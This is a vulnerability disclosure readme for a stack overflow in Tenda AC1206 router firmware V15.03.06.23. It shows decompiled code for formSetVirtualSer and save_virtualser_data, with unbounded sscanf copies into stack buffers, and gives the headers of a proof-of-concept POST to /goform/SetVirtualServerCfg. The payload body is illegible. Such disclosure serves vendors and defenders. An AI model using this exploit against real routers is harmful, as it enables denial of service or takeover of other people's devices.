

main vuln / Tenda / AC1206 / 5 /



Darry-lang1 Add files via upload ...

on Aug 5 History

..



img

4 months ago



readme.md

4 months ago



readme.md

# Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability

## Overview

- Manufacturer's website information: <https://www.tenda.com.cn>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2766.html>

## Product Information

Tenda AC1206 V15.03.06.23, the latest version of simulation overview:

AC1206 1200M 11ac无线穿墙王千兆口路由器 [资料下载](#)[首页](#) / [AC1206](#) / [资料下载](#)

AC1206升级软件 V15.03.06.23

[立即下载](#)

关联产品: AC1206 更新日期: 2018/1/6

1.此固件只适用于AC1206的机器升级, 不同型号不能使用该软件, 升级前请通过路由器底部贴纸确认产品型号;  
2.下载解压后, 请使用有线连接路由器升级, 升级过程中切勿切断电源, 否则会导致机器损坏无法使用!

\* 如果链接错误或其他问题, 请反馈到 [tenda@tenda.com.cn](mailto:tenda@tenda.com.cn)或联系在线客服, 谢谢。

## Vulnerability details

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the `formSetVirtualSer` function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
1 void __cdecl formSetVirtualSer(webs_t wp, char_t *path, char_t *query)
2 {
3     cgi_msg errCode; // [sp+18h] [+18h]
4     char *str; // [sp+1Ch] [+1Ch]
5     char param_str[256]; // [sp+20h] [+20h] BYREF
6
7     memset(param_str, 0, sizeof(param_str));
8     errCode = CGI_OK;
9     str = websGetVar(wp, "list", byte 5106B4);
10    save_virtualser_data("adv.virtualser", str, '~');// There is a stack overflow vulnerability
11    if (CommitCtrlM())
12    {
13        sprintf(param_str, "advance_type=%d", 2);
14        send_msg_to_netctrl(5, param_str);
15    }
16    else
17    {
18        errCode = CGI_ERROR;
19    }
20    websWrite(
21        wp,
22        "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n");
23    websWrite(wp, "{\n\"errCode\":%d\n", errCode);
```

In the `formsetvirtualser` function, `str` (the value of `list`) we entered will be passed into the `save_virtualser_data` function as a parameter, and this function has stack overflow.

```

1 void __cdecl save_virtualser_data(char *list_name, char *buf, char c)
2 {
3     char *i; // $v0
4     int count; // [sp+20h] [+20h]
5     int counta; // [sp+20h] [+20h]
6     int countb; // [sp+20h] [+20h]
7     char *q; // [sp+24h] [+24h]
8     const char *p; // [sp+28h] [+28h]
9     char mib_name[64]; // [sp+2Ch] [+2Ch] BYREF
10    char mib_value[256]; // [sp+6Ch] [+6Ch] BYREF
11    char lan_ip[16]; // [sp+16Ch] [+16Ch] BYREF
12    char in_port[8]; // [sp+17Ch] [+17Ch] BYREF
13    char out_port[8]; // [sp+184h] [+184h] BYREF
14    char protocol[8]; // [sp+18Ch] [+18Ch] BYREF
15    char ct[8]; // [sp+194h] [+194h] BYREF
16
17    memset(mib_name, 0, sizeof(mib_name));
18    memset(mib_value, 0, sizeof(mib_value));
19    memset(lan_ip, 0, sizeof(lan_ip));
20    memset(in_port, 0, sizeof(in_port));
21    memset(out_port, 0, sizeof(out_port));
22    memset(protocol, 0, sizeof(protocol));
23    memset(ct, 0, sizeof(ct));
24    if ( strlen(buf) >= 5 )
25    {
26        counta = 1;
27        p = buf;
28        for ( i = strchr(buf, c); i; i = strchr(q, c) )
29        {
30            *i = 0;
31            q = i + 1;
32            memset(mib_name, 0, sizeof(mib_name));
33            sprintf(mib_name, "%s.list%d", list_name, counta);
34            if ( sscanf(p, "[%^,]%*c%[^,]%*c%[^,]%*c%s", lan_ip, in_port, out_port, protocol) == 4 )
35            {
36                sprintf(mib_value, "0:%s:%s:%s:%s:1", out_port, in_port, lan_ip, protocol);

```

In the `save_virtualser_data` function, the `buf` (the value of `list`) is formatted using the `sscanf` function and in the form of `%[^,]%*c%[^,]%*c%[^,]%*c%s`. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of `lan_ip`、`in_port`、`out_port` Or `protocol`, it will cause a stack overflow.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```

POST /goform/SetVirtualServerCfg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101
Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 336
Origin: http://192.168.0.1

```

DNT: 1

Connection: close

Referer: http://192.168.0.1/index.html

Cookie: ecos\_pw=eee:language=cn

[illegible]

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

